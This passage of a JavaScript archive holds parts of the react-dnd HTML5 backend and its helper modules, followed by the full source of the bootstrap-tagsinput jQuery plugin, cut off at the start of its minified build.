[]).some(function (targetId) { return _this.monitor.canDropOnTarget(targetId); }); if (canDrop) { // Show user-specified drop effect. e.preventDefault(); if (e.dataTransfer) { e.dataTransfer.dropEffect = _this.getCurrentDropEffect(); } } else if (_this.isDraggingNativeItem()) { // Don't show a nice cursor but still prevent default // "drop and blow away the whole document" action. e.preventDefault(); } else { e.preventDefault(); if (e.dataTransfer) { e.dataTransfer.dropEffect = 'none'; } } }; this.handleTopDragLeaveCapture = function (e) { if (_this.isDraggingNativeItem()) { e.preventDefault(); } var isLastLeave = _this.enterLeaveCounter.leave(e.target); if (!isLastLeave) { return; } if (_this.isDraggingNativeItem()) { _this.endDragNativeItem(); } }; this.handleTopDropCapture = function (e) { _this.dropTargetIds = []; e.preventDefault(); if (_this.isDraggingNativeItem()) { var _this$currentNativeSo; (_this$currentNativeSo = _this.currentNativeSource) === null || _this$currentNativeSo === void 0 ? void 0 : _this$currentNativeSo.loadDataTransfer(e.dataTransfer); } _this.enterLeaveCounter.reset(); }; this.handleTopDrop = function (e) { var dropTargetIds = _this.dropTargetIds; _this.dropTargetIds = []; _this.actions.hover(dropTargetIds, { clientOffset: getEventClientOffset(e) }); _this.actions.drop({ dropEffect: _this.getCurrentDropEffect() }); if (_this.isDraggingNativeItem()) { _this.endDragNativeItem(); } else { _this.endDragIfSourceWasRemovedFromDOM(); } }; this.handleSelectStart = function (e) { var target = e.target; // Only IE requires us to explicitly say // we want drag drop operation to start if (typeof target.dragDrop !== 'function') { return; } // Inputs and textareas should be selectable if (target.tagName === 'INPUT' || target.tagName === 'SELECT' || target.tagName === 'TEXTAREA' || target.isContentEditable) { return; } // For other targets, ask IE // to enable drag and drop e.preventDefault(); target.dragDrop(); }; this.options = new OptionsReader(globalContext); this.actions = manager.getActions(); this.monitor = manager.getMonitor(); this.registry = manager.getRegistry(); this.enterLeaveCounter = new EnterLeaveCounter(this.isNodeInDocument); } /** * Generate profiling statistics for the HTML5Backend. */ _createClass(HTML5BackendImpl, [{ key: "profile", value: function profile() { var _this$dragStartSource, _this$dragOverTargetI; return { sourcePreviewNodes: this.sourcePreviewNodes.size, sourcePreviewNodeOptions: this.sourcePreviewNodeOptions.size, sourceNodeOptions: this.sourceNodeOptions.size, sourceNodes: this.sourceNodes.size, dragStartSourceIds: ((_this$dragStartSource = this.dragStartSourceIds) === null || _this$dragStartSource === void 0 ? void 0 : _this$dragStartSource.length) || 0, dropTargetIds: this.dropTargetIds.length, dragEnterTargetIds: this.dragEnterTargetIds.length, dragOverTargetIds: ((_this$dragOverTargetI = this.dragOverTargetIds) === null || _this$dragOverTargetI === void 0 ? void 0 : _this$dragOverTargetI.length) || 0 }; } // public for test }, { key: "setup", value: function setup() { if (this.window === undefined) { return; } if (this.window.__isReactDndBackendSetUp) { throw new Error('Cannot have two HTML5 backends at the same time.'); } this.window.__isReactDndBackendSetUp = true; this.addEventListeners(this.window); } }, { key: "teardown", value: function teardown() { if (this.window === undefined) { return; } this.window.__isReactDndBackendSetUp = false; this.removeEventListeners(this.window); this.clearCurrentDragSourceNode(); if (this.asyncEndDragFrameId) { this.window.cancelAnimationFrame(this.asyncEndDragFrameId); } } }, { key: "connectDragPreview", value: function connectDragPreview(sourceId, node, options) { var _this2 = this; this.sourcePreviewNodeOptions.set(sourceId, options); this.sourcePreviewNodes.set(sourceId, node); return function () { _this2.sourcePreviewNodes.delete(sourceId); _this2.sourcePreviewNodeOptions.delete(sourceId); }; } }, { key: "connectDragSource", value: function connectDragSource(sourceId, node, options) { var _this3 = this; this.sourceNodes.set(sourceId, node); this.sourceNodeOptions.set(sourceId, options); var handleDragStart = function handleDragStart(e) { return _this3.handleDragStart(e, sourceId); }; var handleSelectStart = function handleSelectStart(e) { return _this3.handleSelectStart(e); }; node.setAttribute('draggable', 'true'); node.addEventListener('dragstart', handleDragStart); node.addEventListener('selectstart', handleSelectStart); return function () { _this3.sourceNodes.delete(sourceId); _this3.sourceNodeOptions.delete(sourceId); node.removeEventListener('dragstart', handleDragStart); node.removeEventListener('selectstart', handleSelectStart); node.setAttribute('draggable', 'false'); }; } }, { key: "connectDropTarget", value: function connectDropTarget(targetId, node) { var _this4 = this; var handleDragEnter = function handleDragEnter(e) { return _this4.handleDragEnter(e, targetId); }; var handleDragOver = function handleDragOver(e) { return _this4.handleDragOver(e, targetId); }; var handleDrop = function handleDrop(e) { return _this4.handleDrop(e, targetId); }; node.addEventListener('dragenter', handleDragEnter); node.addEventListener('dragover', handleDragOver); node.addEventListener('drop', handleDrop); return function () { node.removeEventListener('dragenter', handleDragEnter); node.removeEventListener('dragover', handleDragOver); node.removeEventListener('drop', handleDrop); }; } }, { key: "addEventListeners", value: function addEventListeners(target) { // SSR Fix (https://github.com/react-dnd/react-dnd/pull/813 if (!target.addEventListener) { return; } target.addEventListener('dragstart', this.handleTopDragStart); target.addEventListener('dragstart', this.handleTopDragStartCapture, true); target.addEventListener('dragend', this.handleTopDragEndCapture, true); target.addEventListener('dragenter', this.handleTopDragEnter); target.addEventListener('dragenter', this.handleTopDragEnterCapture, true); target.addEventListener('dragleave', this.handleTopDragLeaveCapture, true); target.addEventListener('dragover', this.handleTopDragOver); target.addEventListener('dragover', this.handleTopDragOverCapture, true); target.addEventListener('drop', this.handleTopDrop); target.addEventListener('drop', this.handleTopDropCapture, true); } }, { key: "removeEventListeners", value: function removeEventListeners(target) { // SSR Fix (https://github.com/react-dnd/react-dnd/pull/813 if (!target.removeEventListener) { return; } target.removeEventListener('dragstart', this.handleTopDragStart); target.removeEventListener('dragstart', this.handleTopDragStartCapture, true); target.removeEventListener('dragend', this.handleTopDragEndCapture, true); target.removeEventListener('dragenter', this.handleTopDragEnter); target.removeEventListener('dragenter', this.handleTopDragEnterCapture, true); target.removeEventListener('dragleave', this.handleTopDragLeaveCapture, true); target.removeEventListener('dragover', this.handleTopDragOver); target.removeEventListener('dragover', this.handleTopDragOverCapture, true); target.removeEventListener('drop', this.handleTopDrop); target.removeEventListener('drop', this.handleTopDropCapture, true); } }, { key: "getCurrentSourceNodeOptions", value: function getCurrentSourceNodeOptions() { var sourceId = this.monitor.getSourceId(); var sourceNodeOptions = this.sourceNodeOptions.get(sourceId); return _objectSpread({ dropEffect: this.altKeyPressed ? 'copy' : 'move' }, sourceNodeOptions || {}); } }, { key: "getCurrentDropEffect", value: function getCurrentDropEffect() { if (this.isDraggingNativeItem()) { // It makes more sense to default to 'copy' for native resources return 'copy'; } return this.getCurrentSourceNodeOptions().dropEffect; } }, { key: "getCurrentSourcePreviewNodeOptions", value: function getCurrentSourcePreviewNodeOptions() { var sourceId = this.monitor.getSourceId(); var sourcePreviewNodeOptions = this.sourcePreviewNodeOptions.get(sourceId); return _objectSpread({ anchorX: 0.5, anchorY: 0.5, captureDraggingState: false }, sourcePreviewNodeOptions || {}); } }, { key: "isDraggingNativeItem", value: function isDraggingNativeItem() { var itemType = this.monitor.getItemType(); return Object.keys(NativeTypes).some(function (key) { return NativeTypes[key] === itemType; }); } }, { key: "beginDragNativeItem", value: function beginDragNativeItem(type, dataTransfer) { this.clearCurrentDragSourceNode(); this.currentNativeSource = createNativeDragSource(type, dataTransfer); this.currentNativeHandle = this.registry.addSource(type, this.currentNativeSource); this.actions.beginDrag([this.currentNativeHandle]); } }, { key: "setCurrentDragSourceNode", value: function setCurrentDragSourceNode(node) { var _this5 = this; this.clearCurrentDragSourceNode(); this.currentDragSourceNode = node; // A timeout of > 0 is necessary to resolve Firefox issue referenced // See: // * https://github.com/react-dnd/react-dnd/pull/928 // * https://github.com/react-dnd/react-dnd/issues/869 var MOUSE_MOVE_TIMEOUT = 1000; // Receiving a mouse event in the middle of a dragging operation // means it has ended and the drag source node disappeared from DOM, // so the browser didn't dispatch the dragend event. // // We need to wait before we start listening for mousemove events. // This is needed because the drag preview needs to be drawn or else it fires an 'mousemove' event // immediately in some browsers. // // See: // * https://github.com/react-dnd/react-dnd/pull/928 // * https://github.com/react-dnd/react-dnd/issues/869 // this.mouseMoveTimeoutTimer = setTimeout(function () { return _this5.window && _this5.window.addEventListener('mousemove', _this5.endDragIfSourceWasRemovedFromDOM, true); }, MOUSE_MOVE_TIMEOUT); } }, { key: "clearCurrentDragSourceNode", value: function clearCurrentDragSourceNode() { if (this.currentDragSourceNode) { this.currentDragSourceNode = null; if (this.window) { this.window.clearTimeout(this.mouseMoveTimeoutTimer || undefined); this.window.removeEventListener('mousemove', this.endDragIfSourceWasRemovedFromDOM, true); } this.mouseMoveTimeoutTimer = null; return true; } return false; } }, { key: "handleDragStart", value: function handleDragStart(e, sourceId) { if (e.defaultPrevented) { return; } if (!this.dragStartSourceIds) { this.dragStartSourceIds = []; } this.dragStartSourceIds.unshift(sourceId); } }, { key: "handleDragEnter", value: function handleDragEnter(e, targetId) { this.dragEnterTargetIds.unshift(targetId); } }, { key: "handleDragOver", value: function handleDragOver(e, targetId) { if (this.dragOverTargetIds === null) { this.dragOverTargetIds = []; } this.dragOverTargetIds.unshift(targetId); } }, { key: "handleDrop", value: function handleDrop(e, targetId) { this.dropTargetIds.unshift(targetId); } }, { key: "window", get: function get() { return this.options.window; } }, { key: "document", get: function get() { return this.options.document; } }]); return HTML5BackendImpl; }();esm/index.js000064400000000037151677252760007017 0ustar00export * from './es5/index.js';esm/OffsetUtils.js000064400000007335151677252760010167 0ustar00import { isSafari, isFirefox } from './BrowserDetector'; import { MonotonicInterpolant } from './MonotonicInterpolant'; var ELEMENT_NODE = 1; export function getNodeClientOffset(node) { var el = node.nodeType === ELEMENT_NODE ? node : node.parentElement; if (!el) { return null; } var _el$getBoundingClient = el.getBoundingClientRect(), top = _el$getBoundingClient.top, left = _el$getBoundingClient.left; return { x: left, y: top }; } export function getEventClientOffset(e) { return { x: e.clientX, y: e.clientY }; } function isImageNode(node) { var _document$documentEle; return node.nodeName === 'IMG' && (isFirefox() || !((_document$documentEle = document.documentElement) === null || _document$documentEle === void 0 ? void 0 : _document$documentEle.contains(node))); } function getDragPreviewSize(isImage, dragPreview, sourceWidth, sourceHeight) { var dragPreviewWidth = isImage ? dragPreview.width : sourceWidth; var dragPreviewHeight = isImage ? dragPreview.height : sourceHeight; // Work around @2x coordinate discrepancies in browsers if (isSafari() && isImage) { dragPreviewHeight /= window.devicePixelRatio; dragPreviewWidth /= window.devicePixelRatio; } return { dragPreviewWidth: dragPreviewWidth, dragPreviewHeight: dragPreviewHeight }; } export function getDragPreviewOffset(sourceNode, dragPreview, clientOffset, anchorPoint, offsetPoint) { // The browsers will use the image intrinsic size under different conditions. // Firefox only cares if it's an image, but WebKit also wants it to be detached. var isImage = isImageNode(dragPreview); var dragPreviewNode = isImage ? sourceNode : dragPreview; var dragPreviewNodeOffsetFromClient = getNodeClientOffset(dragPreviewNode); var offsetFromDragPreview = { x: clientOffset.x - dragPreviewNodeOffsetFromClient.x, y: clientOffset.y - dragPreviewNodeOffsetFromClient.y }; var sourceWidth = sourceNode.offsetWidth, sourceHeight = sourceNode.offsetHeight; var anchorX = anchorPoint.anchorX, anchorY = anchorPoint.anchorY; var _getDragPreviewSize = getDragPreviewSize(isImage, dragPreview, sourceWidth, sourceHeight), dragPreviewWidth = _getDragPreviewSize.dragPreviewWidth, dragPreviewHeight = _getDragPreviewSize.dragPreviewHeight; var calculateYOffset = function calculateYOffset() { var interpolantY = new MonotonicInterpolant([0, 0.5, 1], [// Dock to the top offsetFromDragPreview.y, // Align at the center offsetFromDragPreview.y / sourceHeight * dragPreviewHeight, // Dock to the bottom offsetFromDragPreview.y + dragPreviewHeight - sourceHeight]); var y = interpolantY.interpolate(anchorY); // Work around Safari 8 positioning bug if (isSafari() && isImage) { // We'll have to wait for @3x to see if this is entirely correct y += (window.devicePixelRatio - 1) * dragPreviewHeight; } return y; }; var calculateXOffset = function calculateXOffset() { // Interpolate coordinates depending on anchor point // If you know a simpler way to do this, let me know var interpolantX = new MonotonicInterpolant([0, 0.5, 1], [// Dock to the left offsetFromDragPreview.x, // Align at the center offsetFromDragPreview.x / sourceWidth * dragPreviewWidth, // Dock to the right offsetFromDragPreview.x + dragPreviewWidth - sourceWidth]); return interpolantX.interpolate(anchorX); }; // Force offsets if specified in the options. var offsetX = offsetPoint.offsetX, offsetY = offsetPoint.offsetY; var isManualOffsetX = offsetX === 0 || offsetX; var isManualOffsetY = offsetY === 0 || offsetY; return { x: isManualOffsetX ? offsetX : calculateXOffset(), y: isManualOffsetY ? offsetY : calculateYOffset() }; }esm/getEmptyImage.js000064400000000343151677252760010451 0ustar00var emptyImage; export function getEmptyImage() { if (!emptyImage) { emptyImage = new Image(); emptyImage.src = 'data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=='; } return emptyImage; }esm/NativeTypes.js000064400000000154151677252760010163 0ustar00export var FILE = '__NATIVE_FILE__'; export var URL = '__NATIVE_URL__'; export var TEXT = '__NATIVE_TEXT__';esm/MonotonicInterpolant.js000064400000006433151677252760012103 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } export var MonotonicInterpolant = /*#__PURE__*/function () { function MonotonicInterpolant(xs, ys) { _classCallCheck(this, MonotonicInterpolant); var length = xs.length; // Rearrange xs and ys so that xs is sorted var indexes = []; for (var i = 0; i < length; i++) { indexes.push(i); } indexes.sort(function (a, b) { return xs[a] < xs[b] ? -1 : 1; }); // Get consecutive differences and slopes var dys = []; var dxs = []; var ms = []; var dx; var dy; for (var _i = 0; _i < length - 1; _i++) { dx = xs[_i + 1] - xs[_i]; dy = ys[_i + 1] - ys[_i]; dxs.push(dx); dys.push(dy); ms.push(dy / dx); } // Get degree-1 coefficients var c1s = [ms[0]]; for (var _i2 = 0; _i2 < dxs.length - 1; _i2++) { var m2 = ms[_i2]; var mNext = ms[_i2 + 1]; if (m2 * mNext <= 0) { c1s.push(0); } else { dx = dxs[_i2]; var dxNext = dxs[_i2 + 1]; var common = dx + dxNext; c1s.push(3 * common / ((common + dxNext) / m2 + (common + dx) / mNext)); } } c1s.push(ms[ms.length - 1]); // Get degree-2 and degree-3 coefficients var c2s = []; var c3s = []; var m; for (var _i3 = 0; _i3 < c1s.length - 1; _i3++) { m = ms[_i3]; var c1 = c1s[_i3]; var invDx = 1 / dxs[_i3]; var _common = c1 + c1s[_i3 + 1] - m - m; c2s.push((m - c1 - _common) * invDx); c3s.push(_common * invDx * invDx); } this.xs = xs; this.ys = ys; this.c1s = c1s; this.c2s = c2s; this.c3s = c3s; } _createClass(MonotonicInterpolant, [{ key: "interpolate", value: function interpolate(x) { var xs = this.xs, ys = this.ys, c1s = this.c1s, c2s = this.c2s, c3s = this.c3s; // The rightmost point in the dataset should give an exact result var i = xs.length - 1; if (x === xs[i]) { return ys[i]; } // Search for the interval x is in, returning the corresponding y if x is one of the original xs var low = 0; var high = c3s.length - 1; var mid; while (low <= high) { mid = Math.floor(0.5 * (low + high)); var xHere = xs[mid]; if (xHere < x) { low = mid + 1; } else if (xHere > x) { high = mid - 1; } else { return ys[mid]; } } i = Math.max(0, high); // Interpolate var diff = x - xs[i]; var diffSq = diff * diff; return ys[i] + c1s[i] * diff + c2s[i] * diffSq + c3s[i] * diff * diffSq; } }]); return MonotonicInterpolant; }();esm/BrowserDetector.js000064400000000334151677252760011025 0ustar00import { memoize } from './utils/js_utils'; export var isFirefox = memoize(function () { return /firefox/i.test(navigator.userAgent); }); export var isSafari = memoize(function () { return Boolean(window.safari); });bootstrap-tagsinput.js000064400000053635151677260650011166 0ustar00(function ($) { "use strict"; var defaultOptions = { tagClass: function(item) { return 'label label-info'; }, itemValue: function(item) { return item ? item.toString() : item; }, itemText: function(item) { return this.itemValue(item); }, itemTitle: function(item) { return null; }, freeInput: true, addOnBlur: true, maxTags: undefined, maxChars: undefined, confirmKeys: [13, 44], delimiter: ',', delimiterRegex: null, cancelConfirmKeysOnEmpty: false, onTagExists: function(item, $tag) { $tag.hide().fadeIn(); }, trimValue: false, allowDuplicates: false }; /** * Constructor function */ function TagsInput(element, options) { this.isInit = true; this.itemsArray = []; this.$element = $(element); this.$element.hide(); this.isSelect = (element.tagName === 'SELECT'); this.multiple = (this.isSelect && element.hasAttribute('multiple')); this.objectItems = options && options.itemValue; this.placeholderText = element.hasAttribute('placeholder') ? this.$element.attr('placeholder') : ''; this.inputSize = Math.max(1, this.placeholderText.length); this.$container = $('<div class="bootstrap-tagsinput"></div>'); this.$input = $('<input type="text" placeholder="' + this.placeholderText + '"/>').appendTo(this.$container); this.$element.before(this.$container); this.build(options); this.isInit = false; } TagsInput.prototype = { constructor: TagsInput, /** * Adds the given item as a new tag. Pass true to dontPushVal to prevent * updating the elements val() */ add: function(item, dontPushVal, options) { var self = this; if (self.options.maxTags && self.itemsArray.length >= self.options.maxTags) return; // Ignore falsey values, except false if (item !== false && !item) return; // Trim value if (typeof item === "string" && self.options.trimValue) { item = $.trim(item); } // Throw an error when trying to add an object while the itemValue option was not set if (typeof item === "object" && !self.objectItems) throw("Can't add objects when itemValue option is not set"); // Ignore strings only containg whitespace if (item.toString().match(/^\s*$/)) return; // If SELECT but not multiple, remove current tag if (self.isSelect && !self.multiple && self.itemsArray.length > 0) self.remove(self.itemsArray[0]); if (typeof item === "string" && this.$element[0].tagName === 'INPUT') { var delimiter = (self.options.delimiterRegex) ? self.options.delimiterRegex : self.options.delimiter; var items = item.split(delimiter); if (items.length > 1) { for (var i = 0; i < items.length; i++) { this.add(items[i], true); } if (!dontPushVal) self.pushVal(); return; } } var itemValue = self.options.itemValue(item), itemText = self.options.itemText(item), tagClass = self.options.tagClass(item), itemTitle = self.options.itemTitle(item); // Ignore items allready added var existing = $.grep(self.itemsArray, function(item) { return self.options.itemValue(item) === itemValue; } )[0]; if (existing && !self.options.allowDuplicates) { // Invoke onTagExists if (self.options.onTagExists) { var $existingTag = $(".tag", self.$container).filter(function() { return $(this).data("item") === existing; }); self.options.onTagExists(item, $existingTag); } return; } // if length greater than limit if (self.items().toString().length + item.length + 1 > self.options.maxInputLength) return; // raise beforeItemAdd arg var beforeItemAddEvent = $.Event('beforeItemAdd', { item: item, cancel: false, options: options}); self.$element.trigger(beforeItemAddEvent); if (beforeItemAddEvent.cancel) return; // register item in internal array and map self.itemsArray.push(item); // add a tag element var $tag = $('<span class="tag ' + htmlEncode(tagClass) + (itemTitle !== null ? ('" title="' + itemTitle) : '') + '">' + htmlEncode(itemText) + '<span data-role="remove"></span></span>'); $tag.data('item', item); self.findInputWrapper().before($tag); $tag.after(' '); // Check to see if the tag exists in its raw or uri-encoded form var optionExists = ( $('option[value="' + encodeURIComponent(itemValue) + '"]', self.$element).length || $('option[value="' + htmlEncode(itemValue) + '"]', self.$element).length ); // add <option /> if item represents a value not present in one of the <select />'s options if (self.isSelect && !optionExists) { var $option = $('<option selected>' + htmlEncode(itemText) + '</option>'); $option.data('item', item); $option.attr('value', itemValue); self.$element.append($option); } if (!dontPushVal) self.pushVal(); // Add class when reached maxTags if (self.options.maxTags === self.itemsArray.length || self.items().toString().length === self.options.maxInputLength) self.$container.addClass('bootstrap-tagsinput-max'); // If using typeahead, once the tag has been added, clear the typeahead value so it does not stick around in the input. if ($('.typeahead, .twitter-typeahead', self.$container).length) { self.$input.typeahead('val', ''); } if (this.isInit) { self.$element.trigger($.Event('itemAddedOnInit', { item: item, options: options })); } else { self.$element.trigger($.Event('itemAdded', { item: item, options: options })); } }, /** * Removes the given item. Pass true to dontPushVal to prevent updating the * elements val() */ remove: function(item, dontPushVal, options) { var self = this; if (self.objectItems) { if (typeof item === "object") item = $.grep(self.itemsArray, function(other) { return self.options.itemValue(other) == self.options.itemValue(item); } ); else item = $.grep(self.itemsArray, function(other) { return self.options.itemValue(other) == item; } ); item = item[item.length-1]; } if (item) { var beforeItemRemoveEvent = $.Event('beforeItemRemove', { item: item, cancel: false, options: options }); self.$element.trigger(beforeItemRemoveEvent); if (beforeItemRemoveEvent.cancel) return; $('.tag', self.$container).filter(function() { return $(this).data('item') === item; }).remove(); $('option', self.$element).filter(function() { return $(this).data('item') === item; }).remove(); if($.inArray(item, self.itemsArray) !== -1) self.itemsArray.splice($.inArray(item, self.itemsArray), 1); } if (!dontPushVal) self.pushVal(); // Remove class when reached maxTags if (self.options.maxTags > self.itemsArray.length) self.$container.removeClass('bootstrap-tagsinput-max'); self.$element.trigger($.Event('itemRemoved', { item: item, options: options })); }, /** * Removes all items */ removeAll: function() { var self = this; $('.tag', self.$container).remove(); $('option', self.$element).remove(); while(self.itemsArray.length > 0) self.itemsArray.pop(); self.pushVal(); }, /** * Refreshes the tags so they match the text/value of their corresponding * item. */ refresh: function() { var self = this; $('.tag', self.$container).each(function() { var $tag = $(this), item = $tag.data('item'), itemValue = self.options.itemValue(item), itemText = self.options.itemText(item), tagClass = self.options.tagClass(item); // Update tag's class and inner text $tag.attr('class', null); $tag.addClass('tag ' + htmlEncode(tagClass)); $tag.contents().filter(function() { return this.nodeType == 3; })[0].nodeValue = htmlEncode(itemText); if (self.isSelect) { var option = $('option', self.$element).filter(function() { return $(this).data('item') === item; }); option.attr('value', itemValue); } }); }, /** * Returns the items added as tags */ items: function() { return this.itemsArray; }, /** * Assembly value by retrieving the value of each item, and set it on the * element. */ pushVal: function() { var self = this, val = $.map(self.items(), function(item) { return self.options.itemValue(item).toString(); }); self.$element.val(val, true).trigger('change'); }, /** * Initializes the tags input behaviour on the element */ build: function(options) { var self = this; self.options = $.extend({}, defaultOptions, options); // When itemValue is set, freeInput should always be false if (self.objectItems) self.options.freeInput = false; makeOptionItemFunction(self.options, 'itemValue'); makeOptionItemFunction(self.options, 'itemText'); makeOptionFunction(self.options, 'tagClass'); // Typeahead Bootstrap version 2.3.2 if (self.options.typeahead) { var typeahead = self.options.typeahead || {}; makeOptionFunction(typeahead, 'source'); self.$input.typeahead($.extend({}, typeahead, { source: function (query, process) { function processItems(items) { var texts = []; for (var i = 0; i < items.length; i++) { var text = self.options.itemText(items[i]); map[text] = items[i]; texts.push(text); } process(texts); } this.map = {}; var map = this.map, data = typeahead.source(query); if ($.isFunction(data.success)) { // support for Angular callbacks data.success(processItems); } else if ($.isFunction(data.then)) { // support for Angular promises data.then(processItems); } else { // support for functions and jquery promises $.when(data) .then(processItems); } }, updater: function (text) { self.add(this.map[text]); return this.map[text]; }, matcher: function (text) { return (text.toLowerCase().indexOf(this.query.trim().toLowerCase()) !== -1); }, sorter: function (texts) { return texts.sort(); }, highlighter: function (text) { var regex = new RegExp( '(' + this.query + ')', 'gi' ); return text.replace( regex, "<strong>$1</strong>" ); } })); } // typeahead.js if (self.options.typeaheadjs) { var typeaheadConfig = null; var typeaheadDatasets = {}; // Determine if main configurations were passed or simply a dataset var typeaheadjs = self.options.typeaheadjs; if ($.isArray(typeaheadjs)) { typeaheadConfig = typeaheadjs[0]; typeaheadDatasets = typeaheadjs[1]; } else { typeaheadDatasets = typeaheadjs; } self.$input.typeahead(typeaheadConfig, typeaheadDatasets).on('typeahead:selected', $.proxy(function (obj, datum) { if (typeaheadDatasets.valueKey) self.add(datum[typeaheadDatasets.valueKey]); else self.add(datum); self.$input.typeahead('val', ''); }, self)); } self.$container.on('click', $.proxy(function(event) { if (! self.$element.attr('disabled')) { self.$input.removeAttr('disabled'); } self.$input.focus(); }, self)); if (self.options.addOnBlur && self.options.freeInput) { self.$input.on('focusout', $.proxy(function(event) { // HACK: only process on focusout when no typeahead opened, to // avoid adding the typeahead text as tag if ($('.typeahead, .twitter-typeahead', self.$container).length === 0) { self.add(self.$input.val()); self.$input.val(''); } }, self)); } self.$container.on('keydown', 'input', $.proxy(function(event) { var $input = $(event.target), $inputWrapper = self.findInputWrapper(); if (self.$element.attr('disabled')) { self.$input.attr('disabled', 'disabled'); return; } switch (event.which) { // BACKSPACE case 8: if (doGetCaretPosition($input[0]) === 0) { var prev = $inputWrapper.prev(); if (prev.length) { self.remove(prev.data('item')); } } break; // DELETE case 46: if (doGetCaretPosition($input[0]) === 0) { var next = $inputWrapper.next(); if (next.length) { self.remove(next.data('item')); } } break; // LEFT ARROW case 37: // Try to move the input before the previous tag var $prevTag = $inputWrapper.prev(); if ($input.val().length === 0 && $prevTag[0]) { $prevTag.before($inputWrapper); $input.focus(); } break; // RIGHT ARROW case 39: // Try to move the input after the next tag var $nextTag = $inputWrapper.next(); if ($input.val().length === 0 && $nextTag[0]) { $nextTag.after($inputWrapper); $input.focus(); } break; default: // ignore } // Reset internal input's size var textLength = $input.val().length, wordSpace = Math.ceil(textLength / 5), size = textLength + wordSpace + 1; $input.attr('size', Math.max(this.inputSize, $input.val().length)); }, self)); self.$container.on('keypress', 'input', $.proxy(function(event) { var $input = $(event.target); if (self.$element.attr('disabled')) { self.$input.attr('disabled', 'disabled'); return; } var text = $input.val(), maxLengthReached = self.options.maxChars && text.length >= self.options.maxChars; if (self.options.freeInput && (keyCombinationInList(event, self.options.confirmKeys) || maxLengthReached)) { // Only attempt to add a tag if there is data in the field if (text.length !== 0) { self.add(maxLengthReached ? text.substr(0, self.options.maxChars) : text); $input.val(''); } // If the field is empty, let the event triggered fire as usual if (self.options.cancelConfirmKeysOnEmpty === false) { event.preventDefault(); } } // Reset internal input's size var textLength = $input.val().length, wordSpace = Math.ceil(textLength / 5), size = textLength + wordSpace + 1; $input.attr('size', Math.max(this.inputSize, $input.val().length)); }, self)); // Remove icon clicked self.$container.on('click', '[data-role=remove]', $.proxy(function(event) { if (self.$element.attr('disabled')) { return; } self.remove($(event.target).closest('.tag').data('item')); }, self)); // Only add existing value as tags when using strings as tags if (self.options.itemValue === defaultOptions.itemValue) { if (self.$element[0].tagName === 'INPUT') { self.add(self.$element.val()); } else { $('option', self.$element).each(function() { self.add($(this).attr('value'), true); }); } } }, /** * Removes all tagsinput behaviour and unregsiter all event handlers */ destroy: function() { var self = this; // Unbind events self.$container.off('keypress', 'input'); self.$container.off('click', '[role=remove]'); self.$container.remove(); self.$element.removeData('tagsinput'); self.$element.show(); }, /** * Sets focus on the tagsinput */ focus: function() { this.$input.focus(); }, /** * Returns the internal input element */ input: function() { return this.$input; }, /** * Returns the element which is wrapped around the internal input. This * is normally the $container, but typeahead.js moves the $input element. */ findInputWrapper: function() { var elt = this.$input[0], container = this.$container[0]; while(elt && elt.parentNode !== container) elt = elt.parentNode; return $(elt); } }; /** * Register JQuery plugin */ $.fn.tagsinput = function(arg1, arg2, arg3) { var results = []; this.each(function() { var tagsinput = $(this).data('tagsinput'); // Initialize a new tags input if (!tagsinput) { tagsinput = new TagsInput(this, arg1); $(this).data('tagsinput', tagsinput); results.push(tagsinput); if (this.tagName === 'SELECT') { $('option', $(this)).attr('selected', 'selected'); } // Init tags from $(this).val() $(this).val($(this).val()); } else if (!arg1 && !arg2) { // tagsinput already exists // no function, trying to init results.push(tagsinput); } else if(tagsinput[arg1] !== undefined) { // Invoke function on existing tags input if(tagsinput[arg1].length === 3 && arg3 !== undefined){ var retVal = tagsinput[arg1](arg2, null, arg3); }else{ var retVal = tagsinput[arg1](arg2); } if (retVal !== undefined) results.push(retVal); } }); if ( typeof arg1 == 'string') { // Return the results from the invoked function calls return results.length > 1 ? results : results[0]; } else { return results; } }; $.fn.tagsinput.Constructor = TagsInput; /** * Most options support both a string or number as well as a function as * option value. This function makes sure that the option with the given * key in the given options is wrapped in a function */ function makeOptionItemFunction(options, key) { if (typeof options[key] !== 'function') { var propertyName = options[key]; options[key] = function(item) { return item[propertyName]; }; } } function makeOptionFunction(options, key) { if (typeof options[key] !== 'function') { var value = options[key]; options[key] = function() { return value; }; } } /** * HtmlEncodes the given value */ var htmlEncodeContainer = $('<div />'); function htmlEncode(value) { if (value) { return htmlEncodeContainer.text(value).html(); } else { return ''; } } /** * Returns the position of the caret in the given input field * http://flightschool.acylt.com/devnotes/caret-position-woes/ */ function doGetCaretPosition(oField) { var iCaretPos = 0; if (document.selection) { oField.focus (); var oSel = document.selection.createRange(); oSel.moveStart ('character', -oField.value.length); iCaretPos = oSel.text.length; } else if (oField.selectionStart || oField.selectionStart == '0') { iCaretPos = oField.selectionStart; } return (iCaretPos); } /** * Returns boolean indicates whether user has pressed an expected key combination. * @param object keyPressEvent: JavaScript event object, refer * http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html * @param object lookupList: expected key combinations, as in: * [13, {which: 188, shiftKey: true}] */ function keyCombinationInList(keyPressEvent, lookupList) { var found = false; $.each(lookupList, function (index, keyCombination) { if (typeof (keyCombination) === 'number' && keyPressEvent.which === keyCombination) { found = true; return false; } if (keyPressEvent.which === keyCombination.which) { var alt = !keyCombination.hasOwnProperty('altKey') || keyPressEvent.altKey === keyCombination.altKey, shift = !keyCombination.hasOwnProperty('shiftKey') || keyPressEvent.shiftKey === keyCombination.shiftKey, ctrl = !keyCombination.hasOwnProperty('ctrlKey') || keyPressEvent.ctrlKey === keyCombination.ctrlKey; if (alt && shift && ctrl) { found = true; return false; } } }); return found; } /** * Initialize tagsinput behaviour on inputs and selects which have * data-role=tagsinput */ $(function() { $("input[data-role=tagsinput], select[multiple][data-role=tagsinput]").tagsinput(); }); })(window.jQuery); bootstrap-tagsinput.min.js000064400000021725151677260650011743 0ustar00/* * bootstrap-tagsinput v0.7.1 by Tim Schlechter * */ !function(a){"use strict";function 